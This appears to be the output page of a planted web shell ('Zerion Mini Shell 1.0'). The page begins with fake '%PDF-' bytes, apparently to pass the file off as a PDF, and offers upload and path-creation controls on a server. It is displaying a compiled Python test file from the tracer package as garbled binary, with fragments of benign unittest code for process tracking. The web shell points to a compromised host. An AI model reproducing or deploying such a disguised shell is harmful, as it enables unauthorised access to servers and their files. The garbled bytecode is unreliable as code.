%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3.9/site-packages/tracer/tests/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3.9/site-packages/tracer/tests/__pycache__/test_processes.cpython-39.opt-1.pyc

a

"e�	�@sjddlTddlmZmZmZddlmZddlmZddl	Z	ddl
Z
Gdd�dej�Z
Gd	d
�d
e�ZdS)�)�*�)�	Processes�Process�ProcessWrapper)�SystemdDbus)�ProcessesCollectionNc@sdeZdZe�dd�dd��Ze�dd�dd��Ze�dd�dd��Zd	d
�Ze�dd�dd��Z	d
S)�
TestProcessesTz%@TODO Create Mock for Processes classcCs:t��d}|��}|�|t�|D]}|�|t�q$dS)Nr)r�all�childrenZassertIsInstancerr)�self�processr�child�r�?/usr/lib/python3.9/site-packages/tracer/tests/test_processes.py�
test_childrens
zTestProcesses.test_childrencCs|tt���}tt���}|�|tt����|�||���|�||���t��tt���}|�	||�|�
||�dS�N)r�os�getpid�getppidZassertIs�parentZassertInrZreset_cache�assertEqualZassertIsNot)rr
rZprocess2rrr�test_unique_processsz!TestProcesses.test_unique_processcCsdtt���}|��tjtjjtjd�}|�	dt
|����|��|�	dt
|����|��dS)N)�stdinrr)
rrrr�
subprocess�Popen�sys�
executable�PIPEr�lenZ
rebuild_cacheZ	terminate)rr
rrrr�test_process_caching"sz"TestProcesses.test_process_cachingcCsJt�}ddgd�d�|_t�}ddgd�d�|_t�}dddgd�|_dS)NZsshd�/usr/sbin/sshd)r!z-DZfooZbar)�nameZexeZcmdline)Zsome�thing�andZ	argumentsZidkZwhatZ
withoutparams)�ProcessMock�data)rZp1Zp2Zp3rrr�test_name_sshd1s���zTestProcesses.test_name_sshdcCst�}t��}t|�d}dS)Ni�)rr�pids�max)rZdbusr(Znonexistingrrr�	test_dbusDszTestProcesses.test_dbusN)
�__name__�
__module__�__qualname__�unittestZskipIfrrr r'r*rrrrr		s






r	c@seZdZdd�Zdd�ZdS)r%cCs
i|_dSr�r&)rrrr�__init__NszProcessMock.__init__cCs
|j|Srr/)rr"rrr�_attrQszProcessMock._attrN)r+r,r-r0r1rrrrr%Msr%)Z__meta__Ztracer.resources.processesrrrZtracer.resources.SystemdDbusrZtracer.resources.collectionsrrrr.ZTestCaser	r%rrrr�<module>sD

Zerion Mini Shell 1.0